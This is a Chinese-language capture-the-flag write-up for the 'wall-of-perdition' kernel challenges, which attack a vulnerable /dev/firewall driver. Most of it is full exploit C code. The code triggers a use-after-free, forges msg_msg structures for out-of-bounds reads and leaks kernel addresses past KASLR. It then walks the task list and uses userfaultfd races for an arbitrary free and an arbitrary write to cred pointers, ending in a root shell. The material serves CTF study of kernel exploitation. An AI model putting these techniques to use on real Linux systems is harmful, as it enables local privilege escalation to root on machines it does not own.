void firewall_dup_rule(uint8_t idx,uint8_t type){ int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx; ret = ioctl(fd,DUP_RULE,&r); //printf("[+] size: %#lx\n",sizeof(user_rule_t)); if(ret != SUCCESS){ printf("[-] firewall_dup_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_dup_rule SUCCESS\n"); }}
void firewall_delete_rule(uint8_t idx,uint8_t type){ int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx; ret = ioctl(fd,DELETE_RULE,&r); //printf("[+] size: %#lx\n",sizeof(user_rule_t)); if(ret != SUCCESS){ printf("[-] firewall_delete_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_delete_rule SUCCESS\n"); }}
void firewall_edit_rule(uint8_t idx,uint8_t type){
char iface[0x10];memset(iface,0x61,0x10); char name[0x10];memset(name,0x62,0x10);
int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx;
memcpy(r.iface,iface,16); memcpy(r.name,name,16);
ret = ioctl(fd,EDIT_RULE,&r); if(ret != SUCCESS){ printf("[-] firewall_edit_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_edit_rule SUCCESS\n"); }}
void evil_edit(uint8_t idx, char *buffer, int type, int invalidate){ int ret; user_rule_t rule; memset((void *)&rule, 0, sizeof(user_rule_t)); generate(buffer, (user_rule_t *)&rule); rule.idx = idx; rule.type = type; if (invalidate) { strcpy((void *)&rule.ip, "invalid"); strcpy((void *)&rule.netmask, "invalid"); } ret = ioctl(fd, EDIT_RULE, (unsigned long)&rule); if(ret != SUCCESS){ printf("[-] evil_edit FAILED, ret_val is : %d\n",ret); }else{ printf("[+] evil_edit SUCCESS\n"); }}
uint64_t create_message_queue(key_t key,int msgflag){ /* A Wrapper to msgget */ uint64_t ret; if ((ret = msgget(key, msgflag)) == -1) { perror("msgget failure"); exit(-1); } printf("[+] Create queue SUCCESS\n"); return ret;}
void send_message(int msqid, void *msgp, size_t msgsz, int msgflg){ /* A Wrapper to msgsnd */ if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { perror("msgsend failure"); return; } printf("[+] msgsnd() SUCCESS\n"); return;
}
void read_from_message_queue(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg){ if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0) { perror("msgrcv"); exit(-1); } return;}
void heap_spray_shmem(){ int shmid; char *shmaddr; for (int i = 0; i < 0x500; i++) { if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) { perror("shmget error"); exit(-1); } shmaddr = shmat(shmid, NULL, 0); if (shmaddr == (void*)-1) { perror("shmat error"); exit(-1); } } printf("[+] Spray shmem SUCCESS\n");}
/* -------------------- register userfault -------------------- */#define FAULT_PAGE 0x61610000static void register_userfault(void *handler){ struct uffdio_api ua; struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC |O_NONBLOCK); CHECK(uffd); ua.api = UFFD_API; ua.features=0; CHECK(ioctl(uffd, UFFDIO_API, &ua)); //mmap [FAULT_PAGE,FAULT_PAGE+0x1000] 后此時未初始化,訪問會觸發缺頁 if (mmap((void *)FAULT_PAGE,PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1,0)!=(void *)FAULT_PAGE){ perror("register_userfault() mmap"); exit(EXIT_FAILURE); } printf("[+] mmap(%#lx,%#lx)\n",FAULT_PAGE,PAGE_SIZE); ur.range.start =(uint64_t)FAULT_PAGE; //要監視的區域 ur.range.len=PAGE_SIZE; //長度 ur.mode = UFFDIO_REGISTER_MODE_MISSING; CHECK(ioctl(uffd, UFFDIO_REGISTER, &ur));////注冊缺頁錯誤處理,當發生缺頁時,程序會阻塞,此時,我們在另一個線程里操作 , 這個ur對應一個uffd printf("[*] register_userfault() %#lx success\n\n",FAULT_PAGE); //開一個線程,接收錯誤的信號,然后處理,如果這里被注釋掉,則觸發userfault的線程會一直卡死 //本題在handler中完成arw pthread_t s = pthread_create(&thr, NULL,handler, (void*)uffd); //uffd作為參數傳過去 if (s!=0) printf("[-] handler pthread_create failed");}/* -------------------- register userfault -------------------- */
//用于恢復userfault的handler函數,可以根據具體需求修改/* -------------------- userfault handler -------------------- */void* handler(void *arg){ struct uffd_msg uf_msg; unsigned long uffd = (unsigned long)arg; struct uffdio_copy uf_copy; struct uffdio_range uf_range; puts("[+] arw handler created"); puts("[+] restore stuck begin"); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE; uf_range.len = PAGE_SIZE;
//監聽事件,poll會阻塞,直到收到缺頁錯誤的消息 while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) { perror("polling error"); exit(-1); } // 讀取事件 nready = read(uffd, &uf_msg, sizeof(uf_msg)); if (nready <= 0) { puts("[-]uf_msg error!!"); } // 判斷消息的事件類型 if(uf_msg.event != UFFD_EVENT_PAGEFAULT) { perror("unexpected result from event"); exit(-1); } // 初始化buffer,大小為pagesize,并且設置對應位置的指針,準備用來改cred * 恢復userfault的區域 char uf_buffer[0x1000]; memset(uf_buffer, 0, sizeof(uf_buffer)); memcpy((void *)(uf_buffer + 0x1000-0x30), (void *)&init_cred, 8); memcpy((void *)(uf_buffer + 0x1000-0x30 + 8), (void *)&init_cred, 8);
// 設置struct uffdio_copy 恢復userfault uf_copy.src = (unsigned long)uf_buffer; uf_copy.dst = FAULT_PAGE; uf_copy.len = 0x1000; uf_copy.mode = 0; uf_copy.copy = 0;
char buffer[0x2000]={0}; struct msg_msg evil; memset(&evil,0,sizeof(struct msg_msg)); evil.m_list.next = (void *)0xdeadbeef; evil.m_list.prev = (void *)0xdeadbeef; evil.m_type = 1; evil.m_ts = 0x1008-0x30; evil.next = (void *)attack_addr; // 設置msg_msg.next指向要attack的task_struct,也即是當前進程的task_struct memcpy(buffer,&evil,sizeof(struct msg_msg )); evil_edit(1,buffer,OUTBOUND,0); // UAF writea,劫持msg_msg結構
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up { perror("uffdio_copy error"); exit(-1); } //debug(); if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) { perror("error unregistering page for userfaultfd"); } if (munmap((void *)FAULT_PAGE, 0x1000) == -1) { perror("error on munmapping race page"); } return 0;
} //監聽事件,poll會阻塞,直到收到缺頁錯誤的消息 // nready = poll(&pollfd, 1, -1); // if (nready != 1) // puts("[-] Wrong pool return value"); // nready = read(uffd, &msg, sizeof(msg)); // if (nready <= 0) { // puts("[-]msg error!!"); // } // printf("[+] read page fault msg\n"); // char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); // if (page == MAP_FAILED) // puts("[-]mmap page error!!"); // struct uffdio_copy uc; // //初始化page頁 // memset(page, 0, sizeof(page)); // uc.src = (unsigned long)page; // //出現缺頁的位置 // uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);; // uc.len = PAGE_SIZE; // uc.mode = 0; // uc.copy = 0; // ioctl(uffd, UFFDIO_COPY, &uc);
// puts("[+] handler done!!"); // return NULL; return 0;}/* -------------------- userfault handler-------------------- */
int main(){ msg * message = (msg *)msg_buffer; uint64_t size; uint64_t qid; fd = open("/dev/firewall",O_RDWR); CHECK(fd); printf("[+] Open SUCCESS\n"); printf("[+] sizeof msg_msg: %#lx\n",sizeof(struct msg_msg)); // Create firewall_add_rule(0,INBOUND); // copy to OUTBOUND list firewall_dup_rule(0,INBOUND); // Create msg queue qid = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT); printf("[+] qid: %ld\n",qid);
// Trigger UAF(kmalloc-4k) firewall_delete_rule(0,INBOUND);
// 此時size落在kmalloc-4k,觸發之后從kmalloc-4k中重新取出對應的結構,此時變成了 struct msg_msg,并且緊接著的是mtext size = 0x1010; message->mtype = 1; memset(message->mtext,0x61,size); send_message(qid,message,size - 0x30,0); //msgsz = full_size - sizeof(struct msg_msg)
// Spray shm_file_data(kmalloc-32) by shmat // Bypass fg-kaslr :) heap_spray_shmem();
// Prepare for OOB read. // Ceate an evil msg_msg, in order to hijack msg_msg ctl structure in Kernel. struct msg_msg evil; size = 0x1500; memset(&evil,0,sizeof(struct msg_msg)); evil.m_list.next = (void *)0x4141414141414141; evil.m_list.prev = (void *)0x4242424242424242; evil.m_type = 1; evil.m_ts = size; memset(msg_buffer, 0, sizeof(msg_buffer)); memcpy(msg_buffer, (void *)&evil, 0x20); // Copy first 0x20 bytes ctl structure, modify the struct msg_msg ctl structure evil_edit(0, msg_buffer, OUTBOUND, 1); // UAF edit, firewall_edit_rule() failed , but before it exits, we successfully edit first 0x20 bytes
// After evil_edit(), we successfully change the m_ts to 0x1500! memset(recieved, 0, sizeof(recieved)); // Because we hijack the m_ts to a huge value, OOB read happended here. read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); // Read from msg queue
//printf("recieved: %p\n",recieved); for (int i = 0; i < size / 8; i++) { if ((*(uint64_t *)(recieved + i * 8) & 0xfff) == 0x7a0) { init_ipc_ns = *(uint64_t *)(recieved + i * 8); //ffffffff81c3d7a0 D init_ipc_ns printf("[+] hit addr: %#lx\n",(uint64_t)(recieved + i * 8)); break; } if(i == ((size / 8)-1) ){ puts("[-] Dump \"init_ipc_ns\" from msg Queue FAILED"); exit(0); } }
kernel_base = init_ipc_ns - (0xffffffff81c3d7a0 - 0xffffffff81000000); init_task = kernel_base + (0xffffffff81c124c0 - 0xffffffff81000000); init_cred = kernel_base + (0xffffffff81c33060 - 0xffffffff81000000); printf("[*] kernel_base: %#lx\n",kernel_base); printf("[*] init_task: %#lx\n",init_task); printf("[*] init_cred: %#lx\n",init_cred);
// 再觸發一次edit,此時改msg_msg的next指針指向init_task + 0x290 // 目的是在通過多次msgrcv來掃描鏈表,此時鏈表next指針(struct msg_msgseg *next) 被劫持指向了init_task // 那么實際上我們就是在掃描系統的task鏈表,直到找到當前進程對應的task_struct memset((void *)&evil, 0, sizeof(struct msg_msg)); memset(recieved, 0, sizeof(recieved)); memset(msg_buffer, 0, sizeof(msg_buffer)); evil.m_type = 1; evil.m_ts = size; evil.next = (void *)init_task + 0x298 - 0x8; // -0x8是因為要保證每一次的struct msg_msgseg只利用一次,所以讓他的next指針域為NULL,這0x8是留給next的 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); printf("[+] recieved: %p\n",recieved);
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); //讀一次
int32_t pid; uint64_t prev, curr; memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); // 在while中多次調用msgrcv順著init_task掃描鏈表,直到找到當前進程對應的task_struct while (pid != getpid()) {
curr = prev - 0x298; evil.next = (void *)prev - 0x8; // 更新next指針為task鏈表上的下一個元素 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); } printf("[+] Found current task_struct: %#lx\n",curr);
// UAF kmalloc-4k firewall_add_rule(1,INBOUND); firewall_dup_rule(1,INBOUND); firewall_delete_rule(1,INBOUND); memset(msg_buffer, 0, sizeof(msg_buffer)); /*
typedef struct { long mtype; char mtext[1]; }msg;
*/ msg *root; uint64_t root_size = 0x1010;
void *evil_page = mmap((void *)FAULT_PAGE-PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
// 前8bytes要放mtype,必須是mmap之后的合法內存 // 后面的char mtext[]將會落在register_userfault中mmap的未初始化的內存區域[FAULT_PAGE,FAULT_PAGE+PAGE_SIZE] root = (msg *)(FAULT_PAGE - 0x8); root->mtype = 1;
// 要劫持的地方是task_struct偏移為0x538 和 0x540 的 cred *real_cred 和 cred *cred 指針 // 在handler中完成任意寫 register_userfault(handler);
attack_addr = curr + 0x538 - 0x8; printf("[+] attack_addr: %#lx\n",attack_addr); sleep(1); send_message(qid,root,root_size - 0x30,0);
pthread_join(thr, NULL); // 等待用于arw的handler返回
if(getuid() == 0){ system("echo \"Welcome to root sapce!\""); system("/bin/sh"); } else{ puts("[-] root failed"); }
}
wall-of-perdition
本題是上一題的進階版本。
主要改變在:
typedef struct{ char iface[16]; char name[16]; uint32_t ip; uint32_t netmask; uint16_t proto; uint16_t port; uint8_t action; uint8_t is_duplicated; #ifdef EASY_MODE char desc[DESC_MAX]; #endif} rule_t;
Rule_t中沒有那個0x800大小的desc了,這樣導致我們的對象大小發生了變化,在內核中變成了0x30大小,屬于kmalloc-64 。
前面的利用過程都有點像,不同的是我找到了一個比官網WP更穩定的內核全局數據 dynamic_kobj_ktype 方便在不進行 shm_file_data 噴射的情況下拿到內核基地址。
這一部分利用過程比較復雜。我會配合原文的圖片進行說明。
漏洞利用過程
在main函數的一開始,我們先注冊兩個userfaultfd,起兩個handler,這兩個我們后面都會用到。
fd = open("/dev/firewall",O_RDWR);
register_userfault_1(page_fault_handler_1);register_userfault_2(page_fault_handler_2);
之后我們構造創建兩個msg隊列一個UAF
qid = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT);printf("[+] Create first qid: %ld\n",qid);
// 再創建一個新的隊列qid_1 = create_message_queue(IPC_PRIVATE, 0666 | IPC_CREAT);printf("[+] Create second qid: %d\n",qid_1);
firewall_add_rule(0,INBOUND);firewall_dup_rule(0,INBOUND);firewall_delete_rule(0,INBOUND);
進行內核堆排布
send_message(qid,0x40,'A'); //msgsz = full_size - sizeof(struct msg_msg)send_message(qid_1,0x40,0x21); //msgsz = full_size - sizeof(struct msg_msg)send_message(qid_1,0x1ff8,'A'); //msgsz = full_size - sizeof(struct msg_msg)printf("\n[+] Create two msg_msg and one msg_msgseg DONE\n");

此時,在針對qid發送消息的時候,會將我們釋放的rule從kmalloc-64中再拉回來,變成了上方的msg_msg#1。而通過對這個msg_msg的m_ts的劫持,進而可以實現任意(越界)讀。
// OOB Readstruct msg_msg evil;size = 0x2000;memset(&evil,0,sizeof(struct msg_msg));evil.m_list.next = (void *)0x4141414141414141;evil.m_list.prev = (void *)0x4242424242424242;evil.m_type = 1;evil.m_ts = size;memset(msg_buffer, 0, sizeof(msg_buffer));memcpy(msg_buffer, (void *)&evil, 0x20); evil_edit(0, msg_buffer, OUTBOUND, 1); memset(recieved, 0, sizeof(recieved));read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
通過越界讀,我們可以讀到以下內容:
下方的msg_msg#2的地址以及其對應的msg_msg隊列相關的指針。需要用于后期在任意地址釋放構造惡意鏈表時修正msg_msg的鏈表指針。
下方的全局不受fg-kaslr影響偏移的全局數據。我這里找到一個比原文更穩定的:dynamic_kobj_ktype 用于泄漏內核地址。
dump對應的數據:
sleep(1);for (int i = 0; i < size / 8; i++){ if ( ((*(uint64_t *)(recieved + i * 8) & 0xffff) == 0x4242) && (!queue || !large_msg)) { //第一個msg_msg的prev指針對應的msg queue queue = ((uint64_t *)recieved)[i - 5]; // -0x28 large_msg = ((uint64_t *)recieved)[i - 6]; ; // -0x30 //printf("[*] hit %#lx\n",recieved + i * 8);debug(); } if ((*(uint64_t *)(recieved + i * 8) & 0xfffff) == 0x159a0) { sysfs_bin_kfops_ro = *(uint64_t *)(recieved + i * 8); printf("[+] hit sysfs_bin_kfops_ro: %#lx\n",(uint64_t)(recieved + i * 8)); kernel_base = sysfs_bin_kfops_ro - (0xffffffffa82159a0 - 0xffffffffa7800000); break; }else if((*(uint64_t *)(recieved + i * 8) & 0xfffff) == 0x41600){ dynamic_kobj_ktype = *(uint64_t *)(recieved + i * 8); printf("[+] hit dynamic_kobj_ktype: %#lx\n",(uint64_t)(recieved + i * 8)); kernel_base = dynamic_kobj_ktype - (0xffffffffa4441600 - 0xffffffffa3800000); break; } if(i == ((size / 8)-1) ){ puts("[-] Dump \"sysfs_bin_kfops_ro | dynamic_kobj_ktype | \" from msg Queue FAILED"); exit(0); }}init_task = kernel_base + (0xffffffff81c124c0 - 0xffffffff81000000);init_cred = kernel_base + (0xffffffff81c33060 - 0xffffffff81000000);printf("[*] kernel_base: %#lx\n",kernel_base);printf("[*] init_task: %#lx\n",init_task);printf("[*] init_cred: %#lx\n",init_cred);printf("[*] queue: %#lx\n",queue);printf("[*] large_msg: %#lx\n",large_msg);if(!queue || !large_msg){ printf("[-] !queue || !large_msg\n"); exit(-1);}
接下來像上一題一樣,掃描task_struct鏈表,找到當前進程的task_struct,讀出pid,cred *。
// 再觸發一次edit,此時改msg_msg的next指針指向init_task + 0x290 // 目的是在通過多次msgrcv來掃描鏈表,此時鏈表next指針(struct msg_msgseg *next) 被劫持指向了init_task // 那么實際上我們就是在掃描系統的task鏈表,直到找到當前進程對應的task_struct memset((void *)&evil, 0, sizeof(struct msg_msg)); memset(recieved, 0, sizeof(recieved)); memset(msg_buffer, 0, sizeof(msg_buffer)); evil.m_type = 1; evil.m_ts = size; evil.next = (void *)init_task + 0x298 - 0x8; // -0x8是因為要保證每一次的struct msg_msgseg只利用一次,所以讓他的next指針域為NULL,這0x8是留給next的 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); printf("[+] recieved: %p\n",recieved); //debug();
read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); //讀一次
int32_t pid; uint64_t prev, curr; memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); // 在while中多次調用msgrcv順著init_task掃描鏈表,直到找到當前進程對應的task_struct while (pid != getpid()) {
curr = prev - 0x298; evil.next = (void *)prev - 0x8; // 更新next指針為task鏈表上的下一個元素 memcpy(msg_buffer, (void *)&evil, sizeof(struct msg_msg)); evil_edit(0, msg_buffer, OUTBOUND, 0); read_from_message_queue(qid, recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); memcpy((void*)&prev, (void *)(recieved + 0xfe0), 8); memcpy((void*)&pid, (void *)(recieved + 0x10d8), 4); printf("%d %d\n", pid, getpid()); } printf("[+] Found current task_struct: %#lx\n",curr); memcpy((void*)&cred_struct, (void *)(recieved + 0x1a8+0x10d8), 8); printf("[+] Leaked current task cred struct: 0x%lx\n", cred_struct);
接著上面的步驟,我們通過從qid_1的隊列中不設置MSG_COPY的讀取消息,讓我們的msg_msg出隊后被放入kmalloc-4k。
// 進行讀取,注意??,此時我們沒有設置MSG_COPY。此時的處理會正常的對當前msg進行刪除出隊,更新隊列狀態,最后free(msg),注意,此時是不會預先分配一個copy的 // 在這里一定要保證我們的msg_msg指針的合法性,不能像設置了MSG_COPY時對指針進行破壞,因為這里我們涉及了隊列操作。
/* 初始狀態
msq -> msg_msg_1 -> msg_msg_2 -> msg_msgseg_2 */
/* 首先通過msgrcv釋放隊列中的第一個msg_msg
kmalloc-64 -> msg_msg_1
msq -> msg_msg_2 -> msg_msgseg_2 */ read_from_message_queue(qid_1, recieved_1, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR);
/* 接下來釋放第二個msg_msg以及其msg_msgseg
kmalloc-64 -> msg_msg_1
kmalloc-4k -> msg_msgseg_2 -> msg_msg_2
msq -> NULL */ read_from_message_queue(qid_1, recieved_1, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); printf("[+] All msg_msg and msg_msgseg freed\n");

可以看到,通過兩次讀取我們將qid_1隊列中的msg_msg以及msg_msgseg進行了釋放。
在這些工作都結束后,我們新開一個線程,調用 allocate_msg1
pthread_create(&tid[2], NULL, allocate_msg1, NULL);
在allocate_msg1 中,再創建一個新隊列qid_2。然后取出被free到kmalloc-4k的。通過 msgsnd操作,我們將msgsnd要發送的用戶態的數據的地址設置為:page_1 + PAGE_SIZE - 0x10 ,那么他在copy_from_user的時候會被卡在未初始化的 page_1 + PAGE_SIZE 也就是 FAULT_PAGE 。
void *allocate_msg1(void *_){ mmap((void *)page_1, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); printf("[allocate_msg1] mmap(%#lx,%#lx)\n",page_1,PAGE_SIZE); printf("[allocate_msg1] Message buffer allocated at 0x%lx\n", page_1 + PAGE_SIZE - 0x10); // 再創建一個新的隊列 if ((qid_2 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] { perror("msgget"); exit(1); }
memset((void *)page_1, 0, PAGE_SIZE);
((uint64_t *)(page_1))[0xff0 / 8] = 1; // 從kmalloc-4k中取出被釋放的msg_msgseg、msg_msg /*
free時:msg_msg -> msg_msgseg
取出后形成如下鏈表(因為LIFO):
msg_msgseg(NOW new_msg_msg) -> msg_msg(NOW new_msg_msgseg)
*/
// 當msgsnd觸碰到page_1+PAGE_SIZE時,會在copy_from_user的位置卡死,導致copy_from_user被掛起 if (msgsnd(qid_2, (void *)page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] { puts("msgsend failed!"); perror("msgsnd"); exit(1); }
puts("[allocate_msg1] Message sent, *next overwritten!");}

可以看到,由于SLAB分配器LIFO的性質,我們 msgsnd 的時候首先把先前 msg_msg#2的msg_msgseg從kmalloc-4k中取出來了,接著申請出的是先前的msg_msg#2。等于說這個鏈表在一次free一次重新申請之后反向了。然后放置上了對應的控制頭數據,然而當我們繼續向下放置消息數據的時候,就會觸碰到 FAULT_PAGE,也就是 page_1 + PAGE_SIZE的位置。
此時copy_from_user被掛起,接下來,userfaultfd_1中啟動的page_fault_handler_1捕捉到對應地址為FAULT_PAGE的userfault 。
進入while大循環首先確認我們捕捉到的地址是否是我們想要的 FAULT_PAGE 的地址。
void* page_fault_handler_1(void *arg){ struct uffd_msg uf_msg; unsigned long uffd = (unsigned long)arg; struct uffdio_copy uf_copy; struct uffdio_range uf_range; //debug(); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE; uf_range.len = PAGE_SIZE; uint64_t page_fault_location; puts("[PFH 1] Started!");
//監聽事件,poll會阻塞,直到收到缺頁錯誤的消息 while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) { perror("polling error"); exit(-1); } // 讀取事件 nready = read(uffd, &uf_msg, sizeof(uf_msg)); if (nready <= 0) { puts("[-]uf_msg error!!"); } // 判斷消息的事件類型 if(uf_msg.event != UFFD_EVENT_PAGEFAULT) { perror("unexpected result from event"); exit(-1); }
page_fault_location = (uint64_t)uf_msg.arg.pagefault.address;
if((uint64_t)page_fault_location == page_1+PAGE_SIZE){ printf("[page_fault_handler_1] Catch the Page Fault in %#lx\n",page_1+PAGE_SIZE);
// 初始化buffer,大小為pagesize,并且設置對應位置的指針,準備用來改cred * 恢復userfault的區域 char uf_buffer[0x1000]; msg_msg *msg = (msg_msg *)(uf_buffer +0x1000-0x40); msg->m_type = 0x1; msg->m_ts = 0x1000; msg->next = (uint64_t)(cred_struct - 0x8); //把next指針改成指向當前task_struct的cred結構
// 設置struct uffdio_copy 恢復userfault uf_copy.src = (unsigned long)uf_buffer; uf_copy.dst = FAULT_PAGE; uf_copy.len = 0x1000; uf_copy.mode = 0; uf_copy.copy = 0;
for(;;){ // 如果release_pfh_1被設置了再恢復,否則一直阻塞在這里 if(release_pfh_1) { if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up { perror("uffdio_copy error"); exit(-1); } //debug(); if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) { perror("error unregistering page for userfaultfd"); } if (munmap((void *)FAULT_PAGE, 0x1000) == -1) { perror("error on munmapping race page"); } } }
} else{ printf("[-] Catch Page Fault FAILED: %#lx\n",page_fault_location); } return 0;
} return 0;}
在本函數中,我們會卡在 if(release_pfh_1) 這里,我們想要達到的目的是在恢復這個pagefault之后,使next指針指向cred結構體地址-0x8,相當于偽造當前進程的cred結構體為一個fake msg_msgseg。
通過任意地址free,構造惡意鏈表,劫持cred結構體
接下來,我們的重點放在如何構造任意地址free。我們調用 arb_free 函數,在此函數中首先進行一次UAF write,劫持我們堆上的第一個msg_msg的next指針,讓他也指向對應的msg_msgseg。

然后調用msgrcv,導致上圖的MSG #0和最右側的msg_msgseg被free掉。
void arb_free(int idx, uint64_t target){ msg_msg *msg = (msg_msg *)malloc(0x100); void *memdump = malloc(0x2000);
// 這里要重新修復對應的鏈表表頭,此時queue就是我們一開始獲取的第二個msg_msg所屬的隊列 // target是一開始msg_msg2 -> msg_msgseg2 中 msg_msgseg2 的地址 printf("[+] Trigger arb_free, target: %#lx\n",target);
msg->m_list.next = queue; msg->m_list.prev = queue; msg->m_type = 1; msg->m_ts = 0x10; msg->next = target;
evil_edit(idx, msg, OUTBOUND, 0);
puts("[*] Triggering arb free..."); // 此時,重新申請出來的prev msg_msg被free了。 /*
最終導致兩個都指向msg_msgseg
msg_msg_1 ------> msg_msgseg (prev msg_msg)
msg_msg_2 ------> msg_msgseg (prev msg_msg) */
// free msg_msg_1、msg_msgseg msgrcv(qid, memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); puts("[+] Target freed!");
free(memdump); free(msg);}
注意,指向msg_msgseg的除了正常的msg_msg(qid_2),還有第一次的msg_msg(qid)中的next指針。
也就是說,這個操作結束之后,msg_msg(qid_2)的next指針指向了一個被free的區域(kmalloc-4k),并且他認為這是他的msg_msgseg。

接下來,我們再起一個 allocate_msg2 。
在本函數中,我們再新建一個隊列qid_3 。同時再開一個FAULT_PAGE_2再構造另一個pagefault。(page_2),然后調用msgsnd卡住這個copy_from_user。
注意,上一張圖被我們free到kmalloc-4k的會被再次申請出來作為msg_msg(下圖中藍色的),那么此時我們就構造出兩個msg_msg鏈式相連的結構了。

void* page_fault_handler_2(void *arg){ struct uffd_msg uf_msg; unsigned long uffd = (unsigned long)arg; struct uffdio_copy uf_copy; struct uffdio_range uf_range; //debug(); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE_2; uf_range.len = PAGE_SIZE; uint64_t page_fault_location; puts("[PFH 2] Started!");
//監聽事件,poll會阻塞,直到收到缺頁錯誤的消息 while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) { perror("polling error"); exit(-1); } // 讀取事件 nready = read(uffd, &uf_msg, sizeof(uf_msg)); if (nready <= 0) { puts("[-]uf_msg error!!"); } // 判斷消息的事件類型 if(uf_msg.event != UFFD_EVENT_PAGEFAULT) { perror("unexpected result from event"); exit(-1); }
page_fault_location = (uint64_t)uf_msg.arg.pagefault.address;
if((uint64_t)page_fault_location == page_2+PAGE_SIZE){ printf("[page_fault_handler_2] Catch the Page Fault in %#lx\n",page_2+PAGE_SIZE);
// 初始化buffer,大小為pagesize,并且設置對應位置的指針,準備用來改cred * 恢復userfault的區域 char uf_buffer[0x2000]; memset(uf_buffer, 0, PAGE_SIZE);
release_pfh_1 = 1; //重啟第一個page fault的恢復工作
sleep(1); // 等第一個page_fault_handler_1完成對于next指針的劫持,指向cred
// 設置struct uffdio_copy 恢復userfault uf_copy.src = (unsigned long)uf_buffer; uf_copy.dst = FAULT_PAGE_2; uf_copy.len = 0x1000; uf_copy.mode = 0; uf_copy.copy = 0;
// 直接恢復 if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up { perror("uffdio_copy error"); exit(-1); } //debug(); if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) { perror("error unregistering page for userfaultfd"); } if (munmap((void *)FAULT_PAGE, 0x1000) == -1) { perror("error on munmapping race page"); }
} else{ printf("[-] Catch Page Fault FAILED: %#lx\n",page_fault_location); } return 0;
} return 0;}
而在 page_fault_handler_2 會重啟第一個pagefault的恢復工作。
回憶一下,我們第一個page fault是卡在從用戶態向內核態隊列msg_msg中拷貝數據的過程。
當此過程恢復后,此時next指針是指向PAGE_FAULT_2對應的msg_msg的。也就是說會發生從用戶態向藍色的區域對應的msg_msg拷貝數據。如果我們控制好拷貝的數據,那么可以實現修改next指針,指向cred結構體。

在 page_fault_handler_2 中等待 page_fault_handler_1 恢復完畢。然后再對PAGE_FAULT_2進行恢復。
當 page_fault_handler_2 運行完了,PAGE_FAULT_2也被恢復。針對PAGE_FAULT_2的msgsnd中的copy_from_user操作接觸阻塞繼續執行,此時由于我們已經劫持了next = cred,那么在拷貝到msg_msgseg的時候,實際上就轉換成了了針對cred結構體的劫持(寫操作)。此時的cred結構體像一個fake msg_msgseg。
至此,整個流程結束。
這一部分由于exp實在太長,而且很亂,我就不放上來自己完整的了。如果想學習的可以去看官方的exp(鏈接已在開頭給出),實在是比我寫的整齊太多。
總結
